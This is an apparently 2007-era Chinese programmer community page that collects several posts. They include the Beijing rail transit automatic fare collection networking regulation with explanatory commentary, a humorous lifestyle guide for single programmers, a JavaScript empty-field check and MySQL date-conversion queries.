jiania 发布于 2007-06-27 12:46:31
前 言为了实现北京轨道交通自动售检票系统联网运行,规范轨道交通自动售检票系统的规划、设计、建设、改造和运营管理,根据本市实际情况,特制定本规定。【释义】本 市轨道交通线路自1971年发售车票接待乘客开始,在已有的3条线路中一直采用人工售检票。2003年12月31日地铁13号线(城铁线)自动售检票系统 开通使用结束了北京轨道交通无自动售检票系统的历史,同时揭开北京轨道交通自动售检票系统全面发展的新篇章。2008年奥运会的成功申办为北京轨道交通的 发展提供了机遇,新线建设和既有线通过改造将全部采用自动售检票系统,届时形成轨道交通网络化自动售检票系统。该系统的合理性、科学性和技术的统一性是北京轨道交通自动售检票系统建设和运行的首要问题,因此必须通过制定标准统一技术、统一管理,为确保轨道交通自动化联网收费体系稳定运行提供依据。第一章 总 则
第一条 轨道交通各线路的AFC系统应联网运行,实现乘客在路网内无障碍一票换乘(以下简称一票通),满足一卡通在路网内各线路的统一应用,实现不同运营商经营线路间的互联互通。【释义】(一)一票通一票通指乘客在整个轨道交通路网内,从一条线路到另一条线路无需二次检票的自由换乘,乘客在换乘站不需要先出站进入非付费区,后再进站到另一条线的付费区的过程,而是直接在换乘站的付费区换乘到另一条线路的过程。(二)一卡通在路网内各线路的统一应用一 卡通是利用先进的计算机、通信、信息处理、IC卡技术及安全保密等技术手段建立的以售卡、充值、结算为中心业务的服务平台,由北京市政交通一卡通公司主持 建设运营;该系统采用由一卡通公司统一发行的非接触IC卡(简称一卡通卡)作为支付介质应用于市政、公共交通等领域。轨道交通是一卡通卡应用的支柱行业之 一。一卡通卡是轨道交通自动售检票系统中车票介质,按照统一规则、统一卡片规格、统一卡片类型及统一管理运营模式在轨道交通各线路中使用。(三)互联互通互联互通指乘客在整个路网内任何运营线路的任一车站为出发地,以任何运营线路的任何车站为目的地;并在各车站的检票设备应能处理路网内任意车站发行的有效票卡。第二条 轨道交通AFC系统联网运行应统一运营管理模式、票制、票务规定、收费管理模式、清分对帐规则、乘客服务界面、技术规定和业务流程。【释义】(一)运营管理模式运营管理模式包括运行管理模式、设备监控模式、特殊运营模式等。这些模式均能通过参数进行设定。(二)票制系统收费制度,指设置的票种及其使用规则和收费规则,是制定费率、票价表的基础。(三)票务规定包括票种的设置、车票的编号、车票有效期、优惠制度、乘车时间限定、车票回收办法、无效车票的处理、退票办法、车票个人化及丢失处理、换乘及车票调配流程等方面有关内容的管理规定。(四)收费管理模式包括车票类型及规则、票价表及优惠率、进/出站扣款及特殊模式处理方式、售票/检票/补票管理方式、现金管理和收益管理模式等。(五)清分对账包括轨道交通系统与市政交通一卡通系统的清算对账和轨道交通各线路的清分对账。清算分帐由轨道交通清算管理中心完成,其中与一卡通对帐由清算管理中心和一卡通总中心完成,与各线路对帐由清算管理中心和各线路中心或线路集中控制中心完成,并生成相应的对账报告。(六)乘客服务界面指轨道交通AFC系统终端设备的乘客服务提示和操作界面。包括终端设备上的显示屏、乘客操作方式、操作流程及操作按钮等。第三条 轨道交通AFC系统必须采取切实可行的措施,保证网络、数据传输和车票的可靠性和安全性;保证数据的完整性、保密性、真实性和一致性。【释义】保证数据的完整性、保密性、真实性和一致性数据完整性是指数据在处理、存储和传输过程中始终保持完整,系统采取自动保护措施,对未经授权的用户,系统拒绝任何修改。数据保密性是指信息或数据在处理、存储和传输时,经过加密处理,只有经过授权的用户或设备才能访问和处理该数据。数据真实性是指数据采集、传输和处理正确,数据在采集、传输和处理过程中,数据始终保持与生成状态一致。数据一致性是指存储在AFC系统各个层次和各个组成部分(包括车票)的同类数据是一致的。第四条 轨道交通路网应设置自动售检票系统清算管理中心,作为实现轨道交通AFC系统联网运行的运营、票务、清算管理中心。【释义】清算管理中心轨道交通清算管理中心是AFC系统联网收费的核心部分,完成轨道交通统一清算、统一车票发行和管理、联网收费所必须的统一运营管理。该中心收集、处理系统内交易数据,下达系统网络化运营指令,下载运营参数,同时为系统提供安全机制和严格的操作规程。第五条 轨道交通不同投资主体、不同运营商经营线路的AFC系统参与联网运行时应采取统一收费、按比例分成的运营模式和清算原则。【释义】轨道交通联网应按统一收费原则执行,包括统一票价表、统一收费参数定义、统一收费方式等,各运营商通过协议规则,按比例进行收益分成。第六条 轨道交通AFC系统票制采用基本票制和辅助票制。基本票制采用计程票制,辅助票制为计时票制。【释义】(一)计程票制按乘车里程或车站到车站区段收费。(二)计时票制按在付费区内停留的时间计费。第七条 路网内发行和使用的车票为轨道交通专用票和市政交通一卡通发行的储值票,车票媒介采用非接触IC卡。【释义】(一)轨道交通专用票轨道交通清算管理中心发行的车票,包括单程票、出站票等回收车票,以及纪念票、计次票等不需回收的车票、轨道交通储值票和预留车票等。(二)一卡通储值票市政交通一卡通公司发行的非接触储值IC卡,该卡片不仅可以在轨道交通各线路中使用,还可在市政交通其他领域如公交、出租车等行业使用。第八条 轨道交通AFC系统应采用封闭式收费管理系统。【释义】封闭式收费管理封 闭式收费管理指整个轨道交通的AFC系统所管辖的各运营线路的所有车站均设置进站/出站检票设备,并通过检票设备将车站划分为付费区和非付费区。乘客必须 在出发车站通过进站检票设备,进入付费区,才能去往目的地;到达目的地车站后,乘客必须通过出站检票设备结清车费,才离开付费区的乘车过程。第九条 系统基本扣款方式为进入付费区检票设备检票不扣款,出付费区检票设备检票结算。当运营模式需要时,系统能够支持进入付费区检票设备检票扣款。【释义】当运营模式需要时,系统能够支持进入付费区检票设备检票扣款在系统降级运营模式或紧急模式状态下,乘卡无须刷卡即可出站时,乘客所使用的票卡缺少出站记录。在下一次使用该票卡进站时,自动检票设备能够判断并按规定扣除上一次所需费用,且能够处理本次交易。第十条 AFC系统设计能力应满足超高峰客流量的需要,设备配置数量按近期超高峰客流量计算,按远期超高峰客流量预留位置与安装条件。【释义】为满足北京轨道交通运营的需要,在设计AFC系统时应充分考虑客流因素,科学合理的计算设备配置数量,应满足近期超高峰客流需要,同时按远期客流预测作预留条件。第二章 系统结构及各层职责功能第十一条 北京轨道交通AFC系统应由四层组成,分别为:第一层:清算管理中心系统(ACC)第二层:线路中心系统(LC)第三层:车站计算机系统(SC)第四层:车站终端设备【释义】AFC系统结构应由四层组成按 照联网收费的业务要求和管理职责要求,总体结构划分为四个层次。第一层 ACC系统是联网收费系统的清算管理中心。第二层LC系统是所辖线路的控制和管理中心。第三层SC系统管理和监控车站终端设备。第四层车站终端设备是直接 服务于乘客的部分,执行系统设置,完成各种交易,生成各种交易数据。由于轨道交通将出现多个运营商或单运营商运营多条线路的情况,运营商可以根据需要建立管理机构从所管辖线路的LC收集各种所需要数据,进行统计分析和必要的管理。第十二条 AFC系统总体功能主要包括:售检票作业处理、票务管理、运营管理、设备管理、财务管理、清算对帐管理、统计查询管理、网络管理、数据管理、安全管理、用户权限管理以及运营模式的监控管理等。【释义】轨道交通自动售检票系统是以先进的集成技术、信息处理技术、自动控制技术、IC卡技术及安全保密技术为基础的轨道交通自动收费系统。系统具备多项管理职能,各层根据整体要求实现管理职能。第十三条 ACC应实现轨道交通路网内各运营商的统一协调系统运行;实现轨道交通系统与一卡通系统间的清算、对帐,各线路间的清分、对帐以及数据处理;实现轨道交通 专用票的统一发行及管理;实现轨道交通系统对外的信息服务;实现系统管理和系统安全管理;满足必要的运营模式需求;实现各LC有效接入ACC。【释义】ACC作为轨道交通清算管理中心,完成统一清算、统一车票发行和管理,制定安全保密规则并生成系统IC卡车票密钥、生成SAM卡等,同时ACC提供测试平台环境,实现各线路LC顺利接入ACC。第十四条 ACC统一制定联网运行有关的制度、规则和流程,包括收费制度、车票安全保密规则、清算对帐业务规则、车票发行、车票使用及调配流程、运营模式控制流程、参数编码规则、终端设备乘客服务界面的规定和系统接口规则等。【释义】(一)运营模式控制流程指运营模式的设置及生效执行过程。(二)条文中涉及的规则、流程等另行规定。第十五条 ACC系统基本功能应包括:收集、统计、分析、查询运营数据;统一对车票进行初始化,进行车票调配及车票跟踪等;与LC清分对账、与一卡通系统清算对账; 完成ACC内部及接入系统间的网络管理;提供与LC系统、一卡通系统及其它系统相连的接口;提供测试平台系统;系统维护;设置并下载票价表、费率表、车票 种类、运营模式、联乘优惠率等参数;提供系统标准时钟;接收、生成、上传、下载黑名单;数据备份及恢复,系统灾难异地备份;建立安全密钥体系,生成系统密 钥,进行密钥管理;制作、发行系统内使用的SAM卡,完成交易数据TAC码认证;入网设备注册、认证及授权;ACC系统内用户权限管理等。【释义】(一)车票跟踪包括跟踪车票的位置、车票的状态、车票的交易、车票帐户的变化。单程票跟踪车票的位置,为车票配送和流通提供统计数据。轨道交通专用储值票跟踪车票的状态、车票的交易及车票的帐户,监视车票非正常使用的情况。(二)联乘优惠率指对路网内换乘给予的收费优惠额度或轨道交通给予由其他交通工具换乘到轨道交通的优惠额度。(三)系统灾难异地备份指建立在第三方的数据或系统备份,至少为数据备份;异地灾难备份为应付不可抗拒灾难而建立,灾难备份包括异地数据恢复及备份数据管理等内容,一旦灾难发生能够快速恢复数据处理,以延续系统运行和业务运作。(四)安全密钥体系指IC 卡交易安全所需要的安全密钥管理。安全密钥体系是指IC卡密钥产生和分散、SAM密钥生成和应用确认、交易数据TAC码认证、IC卡密钥保管、检验、使 用、更改、销毁等多方面保护IC卡及交易安全的综合管理系统。所完成的工作主要包括密码生成、分发和保管;发卡安全控制;发行母卡、SAM卡、管理卡、操 作员卡、票卡等,以及IC卡交易及设备认证等。第十六条 LC接受ACC系统参数及指令,实现所监控线路AFC系统的运营管理并根据协议上传相关数据;与ACC对帐;实现所辖线路票务管理及设备管理;当通信故障等必须由线路独立运行时,LC独立管理所辖线路AFC系统运行。【释义】票务管理对车票进行综合管理的特定过程。车票管理包括车票的设计、制作、库存管理、发放、回收、销毁和统计等主要内部环节,同时包括车票销售、使用、补票、退票等乘客使用环节内容。第十七条 LC系统基本功能应包括:监视系统运行状态,收集、统计、分析、查询运营数据;接受ACC的车票调配指令,完成在本线路流通的车票调配;与ACC清算对 帐;设置站区功能。接收ACC下载的车票种类、票价表、费率表、运营模式等参数,并通过SC下载到终端设备;对线路间共用车站AFC设备的SC进行(协 议)管理;接收时钟信号完成时钟同步;接收、上传、下载黑名单等。LC系统内安全访问控制,系统内权限管理;数据审核、数据备份及恢复;设备入网注册;系 统间安全访问控制。【释义】站区站区是在线路中管理相临若干车站的管理机构,具有管理所辖车站票务和运营的职责。第十八条 SC接受LC管理指令,管理本站系统运行。SC系统基本功能应包括:监视和控制车站终端设备运行状态,根据需要启用紧急模式;接受LC车票调配指令,管理 车站内车票流通;收集、传输、统计运营数据。接收并自动下载票价表、车票种类、运营模式等参数,接收时钟信号完成时钟同步;数据备份及恢复,用户管理。【释义】启用紧急模式紧急模式由系统进行定义。车站根据现场情况,通过SC操作或根据FAS系统的指令起用紧急模式。启用信息上传LC,再由LC上传ACC。第十九条 车站应设置售票、检票、补票、充值及查询类终端设备。终 端设备的基本功能应包括:终端设备接受系统参数及指令,完成规定操作及信息提示,生成并上传全部交易数据、审核数据,生成日志数据;按要求存储数据;设备 故障自诊断,设备故障提示;当通信故障等条件下独立运行时,数据可通过外部媒体导出,故障恢复后数据自动上传。IC卡读写器支持多SAM模块同时工作,具 备4个ISO7816–1/2/3标准的SAM插槽。系统终端设备应满足联网收费的要求。表1 设备种类及具体功能设备种类具体功能自动售票机自动发售车票半自动售/补票机发售车票、充值、补票及查询进站闸机进、出站自动检票、回收车票(出站闸机、双向闸机)、金额显示、操作提示出站闸机双向闸机便携式验/检票机车票人工验票及检票自动充值机车票自动充值和信息查询;自动补票机自动补票查询机车票、路网信息查询【释义】(一)补票需进行补票业务处理的情况主要包括:无票出站,车票损坏无法出站,车票缺少进站记录无法出站,单程票超程超时无法出站等。(二)设备故障自诊断在 不需要外部测试设备和任何外部工具情况下诊断和检修设备。它可以在当地被设备自身或来自远程的应用程序所调用,至少应包括:显示当前故障代码;设备通信状 态监测;设备内部各模块及主要故障点的传感器检测、动作监测及功能测试;设置系统模式及其它测试参数等,以便检测和修复设备功能。(三)审核数据设备记录的唯一交易记录序号、交易状态等涉及交易方面的数据及设备故障等方面的数据,用于清算系统及设备管理系统检查数据逻辑及设备工作状态。(四)日志数据指设备工作状态的流水记录,通常用于设备维护及设备故障排除。第三章 车 票第二十条 轨道交通专用票可包括单程票、出站票、往返票、福利票;一日票、区段计次票、区段定期票、纪念票(定值纪念票、计次纪念票、定期纪念票)、员工票、车站工作票、储值票(预留)及其他预留车票等。【释义】预留车票指在本规定中要求的票种以外,根据运营需要可能增加的票种。第二十一条 轨道交通专用票规格应符合以下要求:(一) 轨道交通专用票规格采用ISO14443 TYPE A标准。(二)轨道交通专用储值票、区段计次票、区段定期票、计次纪念票、定期纪念票、员工票和车站工作票等车票规格应符合ISO 14443 TYPE A标准的Mifare® 1。车票封装材料可采用PVC/PET等。(三)轨道交通单程票、出站票、往返票、一日票、福利票、定值纪念票等车票规格应符合IS14443 TYPE A标准的Mifare® Ultra Light。车票封装材料可采用PVC等,卡片外形尺寸为86mm x 54mm x 0.50mm。(四) 轨道交通专用票预留规格应符合ISO 14443 TYPE B。【释义】(一)Mifare® 1为ISO 14443标准规定的TYPE A 非接触IC卡中的一种,卡片有1 K字节的存储空间。(二)Mifare® Ultra Light为ISO 14443标准规定的TYPE A 非接触IC卡中的一种,卡片有64字节的存储空间。第二十二条 车票的使用和回收方式为:(一)乘客凭有效车票经检票设备检票进入付费区,凭有效车票经检票设备检票出付费区。(二)区段计次票、区段定期票、计次纪念票、定期纪念票、员工票、车站工作票和轨道交通专用储值票的车票使用方式为进出站须刷卡。(三)单程票、出站票、往返票、一日票、福利票、定值纪念票车票使用方式为进付费区时须刷卡,出付费区须将卡插入检票设备。(四)单程票、出站票、往返票、福利票为回收类车票。其回收方式分别为单程票、出站票、福利票出付费区时由检票设备回收;往返票往程出付费区时不回收,返程出付费区时由检票设备回收。回收车票可在站内或系统内循环使用。(五)除回收类车票外,其他车票均为不回收类车票。【释义】(一)有效车票检票设备判断车票是否具备进站和出站的条件。这些条件主要包括车票内的发行信息、金额、有效期和是否列入黑名单等。(二)刷卡进出站时,乘客持车票在读卡器上表面进行读写和处理的一种操作方式。操作后车票仍在乘客手里。(三)插入检票设备进出站时,乘客将车票插入检票设备的插槽口,以便检票设备方便对IC卡处理和回收的操作方式。车票插入后,车票由检票机处理,根据处理结果判别车票返还乘客还是被检票设备回收。第二十三条 车票初始化和种类定义地点为:(一)轨道交通专用票统一由ACC进行初始化。(二)一日票、区段计次票、区段定期票、定值纪念票、计次纪念票、定期纪念票、员工票、车站工作票由ACC定义车票类型。(三)单程票、往返票和福利票由售票设备定义车票类型。出站票由补票设备定义车票类型。【释义】(一)车票初始化车票在投入使用前必须进行车票初始化。车票初始化时车票编码由清算中心统一分配,并保证其唯一性,同时生成并写入车票安全密钥。写入车票内的初始化数据都将上传至中心计算机系统,并生成车票初始化详细清单和统计报告。(二)定义车票种类车票初始化时可以同时定义车票种类,但对部分车票在ACC只作初始化不定义车票种类,该部分车票种类定义在车站发售或补票时完成。第二十四条 轨道交通专用票车票种类定义等说明如表2所示。表2 北京市轨道交通专用票车票种类定义表序号票种定义规格挂失出站回收限当日使用再次充值(次)1单程票当日一次乘车使用,限在购票车站进站,按乘车里程计费。Mifare® Ultra Light×√√×2出站票由半自动售/补票设备发售,仅限发售出站票的车站当日出站时使用。Mifare® Ultra Light×√√×3往返票当日限定两车站间一次往返乘车时使用,按乘车往返里程计费,超程时需补出站票出站。Mifare® Ultra Light×√
注:往程出站时不回收,返程出站时回收√×4一日票在购票当日内不限次使用,车票使用时需检查进出站次序。Mifare® Ultra Light××√×5福利票适用于持可免票证件的乘客在半自动售/补票设备换取的车票,使用方式同单程票。Mifare® Ultra Light×√√×6区段票区段计次票在有效期内在规定区段内计次使用。超过规定区段,需补票。Mifare® 1×××√再次充值后,有效期延长区段定期票在规定区段内定期使用。超过规定区段,需补票。Mifare® 1×××√再次充值后,有效期延长。7纪念票定值纪念票在有效期内使用,每次乘车按里程计费。Mifare® Ultra Light××××计次纪念票在有效期内计次数使用,每次乘车不计里程。Mifare® 1××××定期纪念票在有效期内不限次使用,每次乘车不计里程。Mifare® 1××××8员工票内部员工记名使用的计次票。Mifare® 1√××√9车站工作票由车站工作人员持有,仅限指定车站使用,不检查进出站次序。Mifare® 1√×××一卡通储值票的票种和定义参见《一卡通在轨道交通自动售检票系统中应用的技术标准》【释义】持可免票证件指持有免费乘车证件的离休人员、不在职革命伤残军人、盲人可免费乘车,乘车时须前往售票室凭有效免费乘车证件领取本次乘车车票。第二十五条 ACC通过LC上传的轨道交通专用票交易数据及状态信息,完成车票跟踪。【释义】各LC将轨道交通专用票交易数据及状态数据的上传,ACC才可实现车票跟踪。第四章 系统重要参数及管理第二十六条 票价表应根据票制制订,由基本票价结构和实施规则组成;票价表应包括费率表、适用票种、实施日期及时间等内容。费率表应表示车站到车站的乘车费用。轨道交通各线路采用统一的票价表格式,各线路票价表及费率表应报送ACC,由ACC审核并生成后,下发至各LC执行。【释义】参与轨道交通系统联网运行的线路制定统一的票价表是实现“一票通”基本前提条件,票价表的制定是个复杂的过程,因此必须遵循严格的流程。第二十七条 系 统运营模式包括正常运营模式、降级模式和紧急模式。正常模式由系统默认,系统降级模式包括:车费免检模式、进出站次序免检模式、时间免检模式、日期免检模 式等。降级模式信息由LC上传ACC,由ACC进行设定,并下发到全系统。紧急模式由SC或FAS系统启用。紧急模式信息上传LC,LC上传到ACC,由 ACC下载到全系统。其他车站终端设备依据系统指令启用相应的模式。系统应具备模式扩展能力。【释义】(一)正常模式为 系统默认模式,该模式处理正常状态下的售补票及乘客进出站处理。乘客持票进站,进站闸机检验车票有效后,放行乘客;无效时阻挡乘客,并显示相关信息,引导 乘客进行下一步操作。乘客持票出站,出站闸机检验车票有效时,放行乘客;无效时阻挡乘客,并显示相关信息,引导乘客进行下一步操作。(二)车费免检模式当出现地铁车辆、设备故障或其它不可预见原因,部分车站暂时中止运营服务,某一方向已购票乘客无法到达目的地或行程超出目的地站时,AFC系统将被设置为“车费免检模式”。被设置“车费免检模式”的车站,出站闸机将不对相应方向车票数据进行检验。(三)进出站次序免检模式当客流量集中进站或出站超过车站容量或因设备故障需要时,可依据系统指令启用“进出站次序免检模式”。车票种类进站免检出站免检回收票不检票进站,出站正常使用出站不检票,车票不可再次使用非回收票出站不检票,下次乘车进站时补扣上次车费,本次继续使用(四)时间免检模式系统采用计程、计时票制时,因轨道交通自身原因,乘客乘车时间及在站停留时间超过规定时限,系统指令启用“时间免检模式”,不检验车票时间信息,但仍检查车票的票值,车票按正常方式扣款。(五)车票日期免检模式因轨道交通自身原因造成车票过期或特殊需要,系统指令启用“日期免检模式”,不检验车票日期信息,允许过期车票在一段时间内正常使用。(六)紧急模式当发生紧急情况需要乘客紧急撤离车站时,启用“紧急模式”。闸机处于全开状态,乘客出站不检票。回收票一段时期内可按规定再次使用;非回收票下次进站时补齐出站记录,不收取上次乘车费用。(七)模式扩展能力随着运营实践和业务的增加与拓展,为保证日后的需求,系统预留模式增加的空间,便于系统模式升级。第二十八条 ACC设置独立的时钟系统,该时钟系统为北京市轨道交通AFC系统提供标准时间信号。【释义】ACC系统时钟源无论取自何方,轨道交通AFC系统所有时钟均以ACC的时钟为标准时钟进行同步。第二十九条 轨道交通专用票黑名单数量不少于20000条,一卡通储值票的黑名单数量为20000条。车站设备应具备储存和处理不少于40,000条黑名单记录和20组黑名单记录的能力。轨道交通系统生成的黑名单及一卡通系统下载的黑名单由ACC统一下发各LC。【释义】黑名单记录乘客挂失登记或系统跟踪监测到不正常发行、出售和使用的车票,均被列入黑名单记录范围。黑名单包括一卡通黑名单和轨道交通黑名单,其中一卡通黑名单由一卡通总中心产生,轨道交通黑名单由轨道交通清算管理中心产生,两组黑名单由ACC统一下发到LC、SC及终端设备执行。第三十条 系统运行时间应包括黑名单下载时间、清算时间、对帐时间等。系统运行时间由各运营商协商后经ACC统一下发。【释义】轨 道交通AFC系统根据系统要求有明确的时间作业序列要求,如黑名单应在系统每日开始运营前下载,清算时间包括清算数据截止时间、清算时间需要统一制定,以 使各对帐单位有统一计算的依据;对帐时间是系统完成清算后核对双方清算结果的时间,也需要统一规定,以使ACC及各线路(包括一卡通)便于实施。系统运行 时间由ACC参数设置开始时间及结束时间(包括特殊模式的开始时间及结束时间等)。第三十一条 系统内设备应具有唯一编码,设备编码由行业代码、轨道交通线路代码、设备类型代码、车站代码和设备代码组成。【释义】(一)行业代码表示轨道交通行业代码;(二)轨道交通线路代码表示线路编码;第五章 系统通信网络及接口第三十二条 系统应通过轨道交通专用通信传输通道或设置AFC专用传输通道进行数据通信。各LC系统应分别与ACC系统连接。各独立网络系统间应设置安全系统。 网络通信协议采用TCP/IP协议。ACC与一卡通系统之间、ACC与LC之间的通信接口应采用标准通信协议的接口。【释义】本条含义是可以利用通信专业提供的通信线路组建轨道交通AFC系统总体网络,也可独立建立轨道交通AFC系统总体骨干网络。第三十三条 网络数据传输应支持批量文件传送、实时和非实时等传输方式;支持单播、组播及广播等传输方式。【释义】(一)批量文件传输方式是一次完成传输多个数据文件的数据传输方式。(二)实时和非实时传输方式实时传输,是指与生成传输数据时同步进行的数据传输方式。非实时传输,是指与生成传输数据非同步进行的数据传输方式。(三)单播、组播及广播传输方式单播是指由一个通信节点向网络内另一个通信节点播发消息的数据传输方式;组播是指由一个通信节点向网络内的一组通信节点播发消息的数据传输方式;广播是指由一个通信节点向网络内的所有通信节点播发消息的数据传输方式。第三十四条 轨道交通AFC系统中所有服务器、网络及终端设备应统一配置IP地址。【释义】IP地址即网际协议(Internet Protocol)地址,用以唯一确定采用网际协议的网络内各个通信节点(包括AFC系统中的计算机主机和各终端设备)的地址值。它由四个数值和三个分隔点组成,可以确保网络内的数据准确地进行路由选择和传输。终 端设备使用静态或动态IP地址设置方法。AFC的主要终端设备(如AG,BOM,TVM,TEM等)的IP地址是固定不变的,用于低层的传输层通讯、通讯 监控,也能用于机器识别;一些手持终端设备(如手持验卡机)的IP地址是动态设置的,是可变的,它在上网登录的时候,由系统动态分配一个IP地址,用以与 网络内的其它通信节点进行数据传输。第三十五条 系统网络管理应包括网络状态监视、故障预警通知、配置管理、性能报告及分析、安全访问控制等。【释义】(一)网络状态监视中 心系统对网络状态监视主要包括对网络设备状态及网络数据传输状态的监控。系统监控网络设备的运行状态并修改网络设备参数;系统监控网络设备的数据传输状 态,如数据流量、数据接收及丢失状态等,并对系统网络设备进行故障诊断;通过对系统网络状态及数据传输状态数据进行分析统计,生成系统网络运行报告。(二)配置管理网络中所有计算机设备、网络设备和车站终端设备的设备编码(标识)及其IP地址的对照和配置管理。(三)安全访问控制安全访问控制包括实体鉴别、安全消息服务以及通过网络防火墙等网络安全设施完成的网络访问控制。第六章 其 他第三十六条 本规定适用于北京市轨道交通自动售检票系统的建设和运营;轨道交通自动售检票系统相关专业应满足本规定的要求,同时遵循《地铁设计规范》(GB50157-2003)和《一卡通在轨道交通自动售检票系统中应用的技术规定》。【释义】(一)建设和运营建 设主要指轨道交通自动售检票系统AFC新建设项目和轨道交通原人工售检票改造为自动售检票系统的改造项目。运营表示对建设完成的线路(含AFC系统)的运 行及运营管理,主要包括本规定中对于ACC职责要求、LC职责要求、SC职责要求和车票管理等规定的内容,以及ACC运营单位和各线路运营单位在运营中所 必须完成的业务等。(二)相关专业主要包括通信传输系统、防火(灾)报警系统、供电系统、监控系统和建筑结构等。第三十七条 本规定具体实施的相关细则另行规定。本规定由主编单位进行解释。本规定自发布之日起实施。【释义】轨道交通自动售检票系统联网运行是复杂的系统工程,在分步骤建设实施各线路AFC系统和运营时,必须严格遵循本规定。本规定的主编单位、参编单位和主要起草人:主编单位:北京市轨道交通建设管理有限公司参编单位:北京市地铁运营有限责任公司北京市政交通一卡通有限公司香港地铁咨询公司在编制过程中,北京市质量监督局、交通部科学研究院、上海地铁运营公司、上海东方卡股份有限公司、铁道部专业设计院等单位派出有关专家参与了编制工作。主要起草人: 陈忠兴、潘晓军、刘卫平、白洪波、祺云恺、刘京西、韩西安、刘嘉军。咨询专家: 李洪春、韩志伟、谢志刚、殷锡金、段立莉、李爱民、徐小岚、李栋宝、张杰。 -
25岁以上程序员单身手册
jinxikun001 发布于 2007-12-04 17:49:43
1. 生活wrong:每天用两分钟刷牙洗脸,冲出房间的时候扣子还没扣上
right:提前一个小时起床,花五分钟刷牙,洗个澡,挑件干净点的衣服去上班
wrong:每天早晨经过超市买一包烟,我不吃早餐已经很多年
right:经过超市买一听牛奶,其他的根据个人兴趣了wrong:我吃麦当劳肚子起泡泡了,或者,昨天那箱方便面吃完了。
right:租一个有厨房房子,去超市买现成的菜调剂一下,心情好添一只啤酒,有人来添一双碗筷wrong:我从来不收拾房间,有必要么,一个人住。
right:一周拖一次地,洗次衣服,收拾房子,环境影响心情;买束花,使用一下芳香剂都不错wrong:从来没有早于1点睡觉,睡不着,我的眼袋赶上熊猫了。
right:洗个热水澡,就会很困很困了2. 朋友
wrong:朋友就是在一起吃吃喝喝一起玩闹,除了同事没有什么朋友。
right:在周围有比自己年长的朋友,他可以指导你的人生;在网上有技术上的朋友,可以在工作上给你帮助;有那么一两个损友,干点一个人不敢干的事;有些玩友,空闲的时候不至于无聊;知心朋友么,不好找,QQ上泡七八个MM勉勉强强了。3. 运动
wrong::一天工作累死了,动也不想动
right:运动是最好的放松wrong:我想动也动不了了,你瞧我的身材
right:不要不好意思到健身房show你的身材,这样永远没有抬起头那一天wrong:我对运动从不感兴趣
right:其实运动最容易上瘾了4. 休闲
wrong:我最大的爱好是当蜘蛛,蹲在网上一动不动。
right:你该出去走走了,或者找本书读读。wrong:我是路盲,离开住的地方1000m就得打的回去了,并且对住的地方一无所知
right:知道附近去那里看电影,去那里喝茶,去那里有特色的美味wrong:我不抽烟,也不喝酒
right:你是不是程序员?抽烟可以找到灵感,喝酒可以找到朋友。5. 爱情
wrong:我相信一见钟情,相信缘分天定,不需要进一步的表示了。
right:算了吧,还是拿出诚意和恒心去打动对方吧,要做吃苦在先享受在后的打算。wrong:我懒得找女朋友,现在的女子太那个;不要跟我提这个,我头好痛敖~
right:吃不到葡萄就说葡萄酸,更不能逃避内心的欲望wrong:我也想过,总是碰不上合适的
right:你肯定有看着远去背影直咽口水的,下一次鼓足勇气说小姐可以认识你呢,只要不收到一个耳光就可以继续尝试下去。(当然你首先要帅到她不忍心下手才行)wrong:我想过了,我想从网络开始,或者看看HGame,Hardcore DVD是怎么样的
right:~!@#$%^&*……还是从现实开始吧。对了,我相信程序员不是太花心,就是有,也没有时间太花心。
6. 工作
wrong:程序员是青春饭,我什么时候才可以从后山跳出去
right:既入此门,当不做他念,要出去也要打了木人阵从正门出去wrong:工作时间长,加班也没有加班费,环境也老差,午餐的水果都是烂的
right:我们度过了这个难关,产品上市一切就会好起来。适当的发泄一下,但是不要让谈话在抱怨中结束。wrong:不用想了,我打赌这样做肯定无法实现!
right:这中间还有疑点,我先做一个评估,再给您一个详细的文档。说服你的上级,要有凭有据。wrong:这个问题啊,哎呀,还是交给我来吧。
right:这里有一些文档你看一下,有问题可以来问我。让新手迅速成长起来成为你的左膀右臂。wrong:啊,是我忘记checkin了,等一下,现在好了
right:不要在细节的地方重复性的范小错误,虽然不是问题,可会降低自己的威信。wrong:这个绝对不是我的问题
right:永远不要这么自信wrong:我的这个模块写得太精湛了,延误了一点时间而已
right:我们成功地抵达了这个里程碑,一切以项目为重。7. 事业
wrong:天生我才必有用,安得倚天抽宝剑,直挂云帆济沧海,打倒微软,把他踩在脚下,使劲踩,我踩,踩,踩……
right:都一把年纪了,还做梦呢wrong:我已经烂掉了
right:我不能像他一样烂掉wrong:一次付出不会成功,但是不懈的付出一定会成功
right:你还经历的起多少失败?你说我虚伪,我是虚伪,虚伪要是有一颗仁慈的心,就不是虚伪,是虚心.
-
检查提交的值是否为空[包括radio和checkbox] *
coolstr 发布于 2007-12-11 00:01:50
function IsNull(inputName)
{
var isNotNull = false;
var someNodeList = document.getElementsByName(inputName);
for(i=0;i<someNodeList.length;i++)
{
var node = someNodeList[i];
if(node.type=='checkbox' || node.type=='radio')
{
if(node.checked == true && node.value != "")
isNotNull = true;
}
else
{
if(node.value != "")
isNotNull = true;
}
}
return isNotNull;
}使用方法:
GetValue('checkbox');
即可得到该控件是否为空! -
MySql日期处理系列-日期截取/转换方法 *
coolstr 发布于 2007-12-19 16:55:09
以下都是我平时用的一些日期截取/转换方法,方法并不一定是最有效率的.全部均通过测试!
转载请注明来自[phpchina.com]
#title: 日期截取/转换
#auther: 小强(占卜师)
#date: 2007-12-19
#取得当前日期
set @dt=CURDATE();
select @dt;
#取得当前时间包括日期部分
SET @dt=now();
select @dt;
#截取日期部分
#方法1
select date(@dt);
#方法2
select left(@dt,10);
#方法3
select cast(@dt as char(10));
#将日期替换为短日期格式 如:2007-5-6
SELECT REPLACE(date(@dt),'-0','-');
#转换时间输出格式
SELECT DATE_FORMAT(@dt,'%Y-%c-%d');
SELECT DATE_FORMAT(@dt,GET_FORMAT(DATE,'EUR'));
SELECT DATE_FORMAT(@dt,GET_FORMAT(DATE,'ISO'));
#将不规则的日期转换为mysql的标准日期
set @dt = '10.31.2003';
select STR_TO_DATE(@dt,'%c.%d.%Y');
select STR_TO_DATE(@dt,GET_FORMAT(DATE,'USA'));
set @dt = '10/31/2003';
select STR_TO_DATE(@dt,'%c/%d/%Y');
select STR_TO_DATE(REPLACE(@dt,'/','.'),GET_FORMAT(DATE,'USA'));
-
[转] 如何用数据库保存多级结构的数据
stcer 发布于 2007-02-13 15:14:00
-
Fedora 8下用Yum安装Apache+PHP+MySQL环境
fengyun 发布于 2008-01-14 18:59:42
-
fedora8 vsftpd配置
fengyun 发布于 2008-01-15 14:54:36
-
我这三年-程序人生
jinxikun001 发布于 2007-12-25 10:16:08
-
